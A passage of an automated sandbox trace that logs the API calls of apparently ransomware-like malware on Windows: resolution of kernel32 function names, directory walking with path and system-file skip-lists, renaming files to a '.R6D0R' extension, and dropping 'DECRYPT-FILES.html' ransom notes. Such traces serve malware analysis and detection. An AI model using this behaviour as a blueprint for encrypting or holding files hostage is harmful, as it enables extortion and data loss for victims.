lpString2="ConvertNLSDayOfWeekToWin32DayOfWeek" | out: lpString1="ConvertNLSDayOfWeekToWin32DayOfWeek") returned="ConvertNLSDayOfWeekToWin32DayOfWeek" [0117.697] lstrlenA (lpString="CONVERTNLSDAYOFWEEKTOWIN32DAYOFWEEK") returned 35 [0117.697] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ConvertSystemTimeToCalDateTime" | out: lpString1="ConvertSystemTimeToCalDateTime") returned="ConvertSystemTimeToCalDateTime" [0117.697] lstrlenA (lpString="CONVERTSYSTEMTIMETOCALDATETIME") returned 30 [0117.697] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ConvertThreadToFiber" | out: lpString1="ConvertThreadToFiber") returned="ConvertThreadToFiber" [0117.697] lstrlenA (lpString="CONVERTTHREADTOFIBER") returned 20 [0117.697] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ConvertThreadToFiberEx" | out: lpString1="ConvertThreadToFiberEx") returned="ConvertThreadToFiberEx" [0117.697] lstrlenA (lpString="CONVERTTHREADTOFIBEREX") returned 22 [0117.697] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CopyContext" | out: lpString1="CopyContext") returned="CopyContext" [0117.697] lstrlenA (lpString="COPYCONTEXT") returned 11 [0117.697] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CopyFile2" | out: lpString1="CopyFile2") returned="CopyFile2" [0117.697] lstrlenA (lpString="COPYFILE2") returned 9 [0117.697] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CopyFileA" | out: lpString1="CopyFileA") returned="CopyFileA" [0117.697] lstrlenA (lpString="COPYFILEA") returned 9 [0117.697] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CopyFileExA" | out: lpString1="CopyFileExA") returned="CopyFileExA" [0117.697] lstrlenA (lpString="COPYFILEEXA") returned 11 [0117.697] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CopyFileExW" | out: lpString1="CopyFileExW") returned="CopyFileExW" [0117.697] lstrlenA (lpString="COPYFILEEXW") returned 11 [0117.697] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CopyFileTransactedA" | out: lpString1="CopyFileTransactedA") returned="CopyFileTransactedA" [0117.697] lstrlenA (lpString="COPYFILETRANSACTEDA") returned 19 [0117.697] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CopyFileTransactedW" | out: lpString1="CopyFileTransactedW") returned="CopyFileTransactedW" [0117.697] lstrlenA (lpString="COPYFILETRANSACTEDW") returned 19 [0117.697] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CopyFileW" | out: lpString1="CopyFileW") returned="CopyFileW" [0117.697] lstrlenA (lpString="COPYFILEW") returned 9 [0117.697] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CopyLZFile" | out: lpString1="CopyLZFile") returned="CopyLZFile" [0117.697] lstrlenA (lpString="COPYLZFILE") returned 10 [0117.697] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateActCtxA" | out: lpString1="CreateActCtxA") returned="CreateActCtxA" [0117.697] lstrlenA (lpString="CREATEACTCTXA") returned 13 [0117.697] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateActCtxW" | out: lpString1="CreateActCtxW") returned="CreateActCtxW" [0117.698] lstrlenA (lpString="CREATEACTCTXW") returned 13 [0117.698] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateActCtxWWorker" | out: lpString1="CreateActCtxWWorker") returned="CreateActCtxWWorker" [0117.698] lstrlenA (lpString="CREATEACTCTXWWORKER") returned 19 [0117.698] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateBoundaryDescriptorA" | out: lpString1="CreateBoundaryDescriptorA") returned="CreateBoundaryDescriptorA" [0117.698] lstrlenA (lpString="CREATEBOUNDARYDESCRIPTORA") returned 25 [0117.698] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateBoundaryDescriptorW" | out: lpString1="CreateBoundaryDescriptorW") returned="CreateBoundaryDescriptorW" [0117.698] lstrlenA (lpString="CREATEBOUNDARYDESCRIPTORW") returned 25 [0117.698] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateConsoleScreenBuffer" | out: lpString1="CreateConsoleScreenBuffer") returned="CreateConsoleScreenBuffer" [0117.698] lstrlenA (lpString="CREATECONSOLESCREENBUFFER") returned 25 [0117.698] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateDirectoryA" | out: lpString1="CreateDirectoryA") returned="CreateDirectoryA" [0117.698] lstrlenA (lpString="CREATEDIRECTORYA") returned 16 [0117.698] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateDirectoryExA" | out: lpString1="CreateDirectoryExA") returned="CreateDirectoryExA" [0117.698] lstrlenA (lpString="CREATEDIRECTORYEXA") returned 18 [0117.698] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateDirectoryExW" | out: lpString1="CreateDirectoryExW") returned="CreateDirectoryExW" [0117.698] lstrlenA (lpString="CREATEDIRECTORYEXW") returned 18 [0117.698] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateDirectoryTransactedA" | out: lpString1="CreateDirectoryTransactedA") returned="CreateDirectoryTransactedA" [0117.698] lstrlenA (lpString="CREATEDIRECTORYTRANSACTEDA") returned 26 [0117.698] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateDirectoryTransactedW" | out: lpString1="CreateDirectoryTransactedW") returned="CreateDirectoryTransactedW" [0117.698] lstrlenA (lpString="CREATEDIRECTORYTRANSACTEDW") returned 26 [0117.698] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateDirectoryW" | out: lpString1="CreateDirectoryW") returned="CreateDirectoryW" [0117.698] lstrlenA (lpString="CREATEDIRECTORYW") returned 16 [0117.698] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateEnclave" | out: lpString1="CreateEnclave") returned="CreateEnclave" [0117.698] lstrlenA (lpString="CREATEENCLAVE") returned 13 [0117.698] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateEventA" | out: lpString1="CreateEventA") returned="CreateEventA" [0117.698] lstrlenA (lpString="CREATEEVENTA") returned 12 [0117.698] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateEventExA" | out: lpString1="CreateEventExA") returned="CreateEventExA" [0117.698] lstrlenA (lpString="CREATEEVENTEXA") returned 14 [0117.698] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateEventExW" | out: lpString1="CreateEventExW") returned="CreateEventExW" [0117.698] lstrlenA (lpString="CREATEEVENTEXW") returned 14 [0117.698] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateEventW" | out: lpString1="CreateEventW") returned="CreateEventW" [0117.698] lstrlenA (lpString="CREATEEVENTW") returned 12 [0117.698] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFiber" | out: lpString1="CreateFiber") returned="CreateFiber" [0117.698] lstrlenA (lpString="CREATEFIBER") returned 11 [0117.698] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFiberEx" | out: lpString1="CreateFiberEx") returned="CreateFiberEx" [0117.698] lstrlenA (lpString="CREATEFIBEREX") returned 13 [0117.698] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFile2" | out: lpString1="CreateFile2") returned="CreateFile2" [0117.698] lstrlenA (lpString="CREATEFILE2") returned 11 [0117.698] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFileA" | out: lpString1="CreateFileA") returned="CreateFileA" [0117.698] lstrlenA (lpString="CREATEFILEA") returned 11 [0117.698] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFileMappingA" | out: lpString1="CreateFileMappingA") returned="CreateFileMappingA" [0117.698] lstrlenA (lpString="CREATEFILEMAPPINGA") returned 18 [0117.699] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFileMappingFromApp" | out: lpString1="CreateFileMappingFromApp") returned="CreateFileMappingFromApp" [0117.699] lstrlenA (lpString="CREATEFILEMAPPINGFROMAPP") returned 24 [0117.699] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFileMappingNumaA" | out: lpString1="CreateFileMappingNumaA") returned="CreateFileMappingNumaA" [0117.699] lstrlenA (lpString="CREATEFILEMAPPINGNUMAA") returned 22 [0117.699] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFileMappingNumaW" | out: lpString1="CreateFileMappingNumaW") returned="CreateFileMappingNumaW" [0117.699] lstrlenA (lpString="CREATEFILEMAPPINGNUMAW") returned 22 [0117.699] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFileMappingW" | out: lpString1="CreateFileMappingW") returned="CreateFileMappingW" [0117.699] lstrlenA (lpString="CREATEFILEMAPPINGW") returned 18 [0117.699] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFileTransactedA" | out: lpString1="CreateFileTransactedA") returned="CreateFileTransactedA" [0117.699] lstrlenA (lpString="CREATEFILETRANSACTEDA") returned 21 [0117.699] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFileTransactedW" | out: lpString1="CreateFileTransactedW") returned="CreateFileTransactedW" [0117.699] lstrlenA (lpString="CREATEFILETRANSACTEDW") returned 21 [0117.699] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFileW" | out: lpString1="CreateFileW") returned="CreateFileW" [0117.699] lstrlenA (lpString="CREATEFILEW") returned 11 [0117.699] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateHardLinkA" | out: lpString1="CreateHardLinkA") returned="CreateHardLinkA" [0117.699] lstrlenA (lpString="CREATEHARDLINKA") returned 15 [0117.699] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateHardLinkTransactedA" | out: lpString1="CreateHardLinkTransactedA") returned="CreateHardLinkTransactedA" [0117.699] lstrlenA (lpString="CREATEHARDLINKTRANSACTEDA") returned 25 [0117.699] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateHardLinkTransactedW" | out: lpString1="CreateHardLinkTransactedW") returned="CreateHardLinkTransactedW" [0117.699] lstrlenA (lpString="CREATEHARDLINKTRANSACTEDW") returned 25 [0117.699] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateHardLinkW" | out: lpString1="CreateHardLinkW") returned="CreateHardLinkW" [0117.699] lstrlenA (lpString="CREATEHARDLINKW") returned 15 [0117.699] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateIoCompletionPort" | out: lpString1="CreateIoCompletionPort") returned="CreateIoCompletionPort" [0117.699] lstrlenA (lpString="CREATEIOCOMPLETIONPORT") returned 22 [0117.699] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateJobObjectA" | out: lpString1="CreateJobObjectA") returned="CreateJobObjectA" [0117.699] lstrlenA (lpString="CREATEJOBOBJECTA") returned 16 [0117.699] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateJobObjectW" | out: lpString1="CreateJobObjectW") returned="CreateJobObjectW" [0117.699] lstrlenA (lpString="CREATEJOBOBJECTW") returned 16 [0117.699] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateJobSet" | out: lpString1="CreateJobSet") returned="CreateJobSet" [0117.699] lstrlenA (lpString="CREATEJOBSET") returned 12 [0117.699] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateMailslotA" | out: lpString1="CreateMailslotA") returned="CreateMailslotA" [0117.699] lstrlenA (lpString="CREATEMAILSLOTA") returned 15 [0117.699] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateMailslotW" | out: lpString1="CreateMailslotW") returned="CreateMailslotW" [0117.699] lstrlenA (lpString="CREATEMAILSLOTW") returned 15 [0117.699] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateMemoryResourceNotification" | out: lpString1="CreateMemoryResourceNotification") returned="CreateMemoryResourceNotification" [0117.699] lstrlenA (lpString="CREATEMEMORYRESOURCENOTIFICATION") returned 32 [0117.699] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateMutexA" | out: lpString1="CreateMutexA") returned="CreateMutexA" [0117.699] lstrlenA (lpString="CREATEMUTEXA") returned 12 [0117.699] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateMutexExA" | out: lpString1="CreateMutexExA") returned="CreateMutexExA" [0117.699] lstrlenA (lpString="CREATEMUTEXEXA") returned 14 [0117.699] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateMutexExW" | out: lpString1="CreateMutexExW") returned="CreateMutexExW" [0117.700] lstrlenA (lpString="CREATEMUTEXEXW") returned 14 [0117.700] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateMutexW" | out: lpString1="CreateMutexW") returned="CreateMutexW" [0117.700] lstrlenA (lpString="CREATEMUTEXW") returned 12 [0117.700] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateNamedPipeA" | out: lpString1="CreateNamedPipeA") returned="CreateNamedPipeA" [0117.700] lstrlenA (lpString="CREATENAMEDPIPEA") returned 16 [0117.700] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateNamedPipeW" | out: lpString1="CreateNamedPipeW") returned="CreateNamedPipeW" [0117.700] lstrlenA (lpString="CREATENAMEDPIPEW") returned 16 [0117.700] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreatePipe" | out: lpString1="CreatePipe") returned="CreatePipe" [0117.700] lstrlenA (lpString="CREATEPIPE") returned 10 [0117.700] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreatePrivateNamespaceA" | out: lpString1="CreatePrivateNamespaceA") returned="CreatePrivateNamespaceA" [0117.700] lstrlenA (lpString="CREATEPRIVATENAMESPACEA") returned 23 [0117.700] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreatePrivateNamespaceW" | out: lpString1="CreatePrivateNamespaceW") returned="CreatePrivateNamespaceW" [0117.700] lstrlenA (lpString="CREATEPRIVATENAMESPACEW") returned 23 [0117.700] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateProcessA" | out: lpString1="CreateProcessA") returned="CreateProcessA" [0117.700] lstrlenA (lpString="CREATEPROCESSA") returned 14 [0117.700] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateProcessAsUserA" | out: lpString1="CreateProcessAsUserA") returned="CreateProcessAsUserA" [0117.700] lstrlenA (lpString="CREATEPROCESSASUSERA") returned 20 [0117.700] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateProcessAsUserW" | out: lpString1="CreateProcessAsUserW") returned="CreateProcessAsUserW" [0117.700] lstrlenA (lpString="CREATEPROCESSASUSERW") returned 20 [0117.700] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateProcessInternalA" | out: lpString1="CreateProcessInternalA") returned="CreateProcessInternalA" [0117.700] lstrlenA (lpString="CREATEPROCESSINTERNALA") returned 22 [0117.700] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateProcessInternalW" | out: lpString1="CreateProcessInternalW") returned="CreateProcessInternalW" [0117.700] lstrlenA (lpString="CREATEPROCESSINTERNALW") returned 22 [0117.700] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateProcessW" | out: lpString1="CreateProcessW") returned="CreateProcessW" [0117.700] lstrlenA (lpString="CREATEPROCESSW") returned 14 [0117.700] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateRemoteThread" | out: lpString1="CreateRemoteThread") returned="CreateRemoteThread" [0117.700] lstrlenA (lpString="CREATEREMOTETHREAD") returned 18 [0117.700] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateRemoteThreadEx" | out: lpString1="CreateRemoteThreadEx") returned="CreateRemoteThreadEx" [0117.700] lstrlenA (lpString="CREATEREMOTETHREADEX") returned 20 [0117.700] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateSemaphoreA" | out: lpString1="CreateSemaphoreA") returned="CreateSemaphoreA" [0117.700] lstrlenA (lpString="CREATESEMAPHOREA") returned 16 [0117.700] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateSemaphoreExA" | out: lpString1="CreateSemaphoreExA") returned="CreateSemaphoreExA" [0117.700] lstrlenA (lpString="CREATESEMAPHOREEXA") returned 18 [0117.700] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateSemaphoreExW" | out: lpString1="CreateSemaphoreExW") returned="CreateSemaphoreExW" [0117.700] lstrlenA (lpString="CREATESEMAPHOREEXW") returned 18 [0117.700] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateSemaphoreW" | out: lpString1="CreateSemaphoreW") returned="CreateSemaphoreW" [0117.700] lstrlenA (lpString="CREATESEMAPHOREW") returned 16 [0117.700] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateSocketHandle" | out: lpString1="CreateSocketHandle") returned="CreateSocketHandle" [0117.700] lstrlenA (lpString="CREATESOCKETHANDLE") returned 18 [0117.700] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateSymbolicLinkA" | out: lpString1="CreateSymbolicLinkA") returned="CreateSymbolicLinkA" [0117.700] lstrlenA (lpString="CREATESYMBOLICLINKA") returned 19 [0117.701] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateSymbolicLinkTransactedA" | out: lpString1="CreateSymbolicLinkTransactedA") returned="CreateSymbolicLinkTransactedA" [0117.701] lstrlenA (lpString="CREATESYMBOLICLINKTRANSACTEDA") returned 29 [0117.701] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateSymbolicLinkTransactedW" | out: lpString1="CreateSymbolicLinkTransactedW") returned="CreateSymbolicLinkTransactedW" [0117.701] lstrlenA (lpString="CREATESYMBOLICLINKTRANSACTEDW") returned 29 [0117.701] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateSymbolicLinkW" | out: lpString1="CreateSymbolicLinkW") returned="CreateSymbolicLinkW" [0117.701] lstrlenA (lpString="CREATESYMBOLICLINKW") returned 19 [0117.701] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateTapePartition" | out: lpString1="CreateTapePartition") returned="CreateTapePartition" [0117.701] lstrlenA (lpString="CREATETAPEPARTITION") returned 19 [0117.701] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateThread" | out: lpString1="CreateThread") returned="CreateThread" [0117.701] lstrlenA (lpString="CREATETHREAD") returned 12 [0117.701] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateThreadpool" | out: lpString1="CreateThreadpool") returned="CreateThreadpool" [0117.701] lstrlenA (lpString="CREATETHREADPOOL") returned 16 [0117.701] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateThreadpoolCleanupGroup" | out: lpString1="CreateThreadpoolCleanupGroup") returned="CreateThreadpoolCleanupGroup" [0117.701] lstrlenA (lpString="CREATETHREADPOOLCLEANUPGROUP") returned 28 [0117.701] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateThreadpoolIo" | out: lpString1="CreateThreadpoolIo") returned="CreateThreadpoolIo" [0117.701] lstrlenA (lpString="CREATETHREADPOOLIO") returned 18 [0117.701] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateThreadpoolTimer" | out: lpString1="CreateThreadpoolTimer") returned="CreateThreadpoolTimer" [0117.701] lstrlenA (lpString="CREATETHREADPOOLTIMER") returned 21 [0117.701] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateThreadpoolWait" | out: lpString1="CreateThreadpoolWait") returned="CreateThreadpoolWait" [0117.701] lstrlenA (lpString="CREATETHREADPOOLWAIT") returned 20 [0117.701] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateThreadpoolWork" | out: lpString1="CreateThreadpoolWork") returned="CreateThreadpoolWork" [0117.701] lstrlenA (lpString="CREATETHREADPOOLWORK") returned 20 [0117.701] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateTimerQueue" | out: lpString1="CreateTimerQueue") returned="CreateTimerQueue" [0117.701] lstrlenA (lpString="CREATETIMERQUEUE") returned 16 [0117.701] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateTimerQueueTimer" | out: lpString1="CreateTimerQueueTimer") returned="CreateTimerQueueTimer" [0117.701] wsprintfW (in: param_1=0x38be7e4, param_2="%s.%s" | out: param_1="C:\\588bce7c90097ed212\\1029\\SetupResources.dll.R6D0R") returned 51 [0117.701] MoveFileExW (lpExistingFileName="C:\\588bce7c90097ed212\\1029\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1029\\setupresources.dll"), lpNewFileName="C:\\588bce7c90097ed212\\1029\\SetupResources.dll.R6D0R" (normalized: "c:\\588bce7c90097ed212\\1029\\setupresources.dll.r6d0r"), dwFlags=0x0) returned 1 [0117.702] VirtualFree (lpAddress=0x38c0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0117.702] VirtualFree (lpAddress=0x3c70000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0117.703] VirtualFree (lpAddress=0x31c0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0117.703] FindNextFileW (in: hFindFile=0x707ab8, lpFindFileData=0x38bf814 | out: lpFindFileData=0x38bf814*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4758, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 0 [0117.703] FindClose (in: hFindFile=0x707ab8 | out: hFindFile=0x707ab8) returned 1 [0117.703] CloseHandle (hObject=0x528) returned 1 [0117.703] FindNextFileW (in: hFindFile=0x6bbd30, lpFindFileData=0x38bfa90 | out: lpFindFileData=0x38bfa90*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x31, dwReserved1=0x0, cFileName="1030", cAlternateFileName="")) returned 1 [0117.703] lstrcmpW (lpString1="1030", lpString2=".") returned 1 [0117.703] lstrcmpW (lpString1="1030", lpString2="..") returned 1 [0117.703] lstrcatW (in: lpString1="1030", lpString2="\\" | out: lpString1="1030\\") returned="1030\\" [0117.703] lstrcatW (in: lpString1="C:\\588bce7c90097ed212\\", lpString2="1030\\" | out: lpString1="C:\\588bce7c90097ed212\\1030\\") returned="C:\\588bce7c90097ed212\\1030\\" [0117.703] StrStrW (lpFirst="C:\\588bce7c90097ed212\\1030\\", lpSrch=":\\Windows") returned 0x0 [0117.703] StrStrW (lpFirst="C:\\588bce7c90097ed212\\1030\\", lpSrch="\\Program Files") returned 0x0 [0117.703] StrStrW (lpFirst="C:\\588bce7c90097ed212\\1030\\", lpSrch="\\Games\\") returned 0x0 [0117.703] StrStrW (lpFirst="C:\\588bce7c90097ed212\\1030\\", lpSrch="\\Tor Browser\\") returned 0x0 [0117.703] StrStrW (lpFirst="C:\\588bce7c90097ed212\\1030\\", lpSrch="\\ProgramData\\") returned 0x0 [0117.703] StrStrW (lpFirst="C:\\588bce7c90097ed212\\1030\\", lpSrch="\\cache2\\entries\\") returned 0x0 [0117.704] StrStrW (lpFirst="C:\\588bce7c90097ed212\\1030\\", lpSrch="\\Low\\Content.IE5\\") returned 0x0 [0117.704] StrStrW (lpFirst="C:\\588bce7c90097ed212\\1030\\", lpSrch="\\User Data\\Default\\Cache\\") returned 0x0 [0117.704] StrStrW (lpFirst="C:\\588bce7c90097ed212\\1030\\", lpSrch="\\All Users") returned 0x0 [0117.704] lstrlenW (lpString="C:\\588bce7c90097ed212\\1030\\") returned 27 [0117.704] lstrlenW (lpString="eogwkz.dat") returned 10 [0117.704] wsprintfW (in: param_1=0x38beff4, param_2="%s\\%s" | out: param_1="C:\\588bce7c90097ed212\\1030\\\\eogwkz.dat") returned 38 [0117.704] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1030\\\\eogwkz.dat" (normalized: "c:\\588bce7c90097ed212\\1030\\eogwkz.dat"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x4000000, hTemplateFile=0x0) returned 0x528 [0117.705] lstrlenW (lpString="C:\\588bce7c90097ed212\\1030\\") returned 27 [0117.705] lstrlenW (lpString="DECRYPT-FILES.html") returned 18 [0117.705] wsprintfW (in: param_1=0x38beff4, param_2="%s\\%s" | out: param_1="C:\\588bce7c90097ed212\\1030\\\\DECRYPT-FILES.html") returned 46 [0117.705] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1030\\\\DECRYPT-FILES.html" (normalized: "c:\\588bce7c90097ed212\\1030\\decrypt-files.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x470 [0117.706] WriteFile (in: hFile=0x470, lpBuffer=0x31d0000*, nNumberOfBytesToWrite=0x1997, lpNumberOfBytesWritten=0x38beff0, lpOverlapped=0x0 | out: lpBuffer=0x31d0000*, lpNumberOfBytesWritten=0x38beff0*=0x1997, lpOverlapped=0x0) returned 1 [0117.707] CloseHandle (hObject=0x470) returned 1 [0117.707] lstrlenW (lpString="C:\\588bce7c90097ed212\\1030\\") returned 27 [0117.707] lstrcatW (in: lpString1="C:\\588bce7c90097ed212\\1030\\", lpString2="*" | out: lpString1="C:\\588bce7c90097ed212\\1030\\*") returned="C:\\588bce7c90097ed212\\1030\\*" [0117.707] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1030\\*", lpFindFileData=0x38bf814 | out: lpFindFileData=0x38bf814*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37db23a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0x4c69f237, ftLastWriteTime.dwHighDateTime=0x1d517ed, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x3b810c0 [0117.708] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0117.708] FindNextFileW (in: hFindFile=0x3b810c0, lpFindFileData=0x38bf814 | out: lpFindFileData=0x38bf814*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37db23a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0x4c69f237, ftLastWriteTime.dwHighDateTime=0x1d517ed, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0117.708] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0117.708] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0117.725] FindNextFileW (in: hFindFile=0x3b810c0, lpFindFileData=0x38bf814 | out: lpFindFileData=0x38bf814*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4c679097, ftCreationTime.dwHighDateTime=0x1d517ed, ftLastAccessTime.dwLowDateTime=0x4c679097, ftLastAccessTime.dwHighDateTime=0x1d517ed, ftLastWriteTime.dwLowDateTime=0x4c69f237, ftLastWriteTime.dwHighDateTime=0x1d517ed, nFileSizeHigh=0x0, nFileSizeLow=0x1997, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="DECRYPT-FILES.html", cAlternateFileName="DECRYP~1.HTM")) returned 1 [0117.725] lstrcmpiW (lpString1="DECRYPT-FILES.html", lpString2="DECRYPT-FILES.html") returned 0 [0117.725] FindNextFileW (in: hFindFile=0x3b810c0, lpFindFileData=0x38bf814 | out: lpFindFileData=0x38bf814*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4c679097, ftCreationTime.dwHighDateTime=0x1d517ed, ftLastAccessTime.dwLowDateTime=0x4c679097, ftLastAccessTime.dwHighDateTime=0x1d517ed, ftLastWriteTime.dwLowDateTime=0x4c679097, ftLastWriteTime.dwHighDateTime=0x1d517ed, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="eogwkz.dat", cAlternateFileName="")) returned 1 [0117.725] lstrcmpiW (lpString1="eogwkz.dat", lpString2="DECRYPT-FILES.html") returned 1 [0117.725] lstrcmpiW (lpString1="eogwkz.dat", lpString2="autorun.inf") returned 1 [0117.725] lstrcmpiW (lpString1="eogwkz.dat", lpString2="boot.ini") returned 1 [0117.725] lstrcmpiW (lpString1="eogwkz.dat", lpString2="desktop.ini") returned 1 [0117.725] lstrcmpiW (lpString1="eogwkz.dat", lpString2="ntuser.dat") returned -1 [0117.725] lstrcmpiW (lpString1="eogwkz.dat", lpString2="iconcache.db") returned -1 [0117.725] lstrcmpiW (lpString1="eogwkz.dat", lpString2="bootsect.bak") returned 1 [0117.725] lstrcmpiW (lpString1="eogwkz.dat", lpString2="ntuser.dat.log") returned -1 [0117.725] lstrcmpiW (lpString1="eogwkz.dat", lpString2="thumbs.db") returned -1 [0117.725] lstrcmpiW 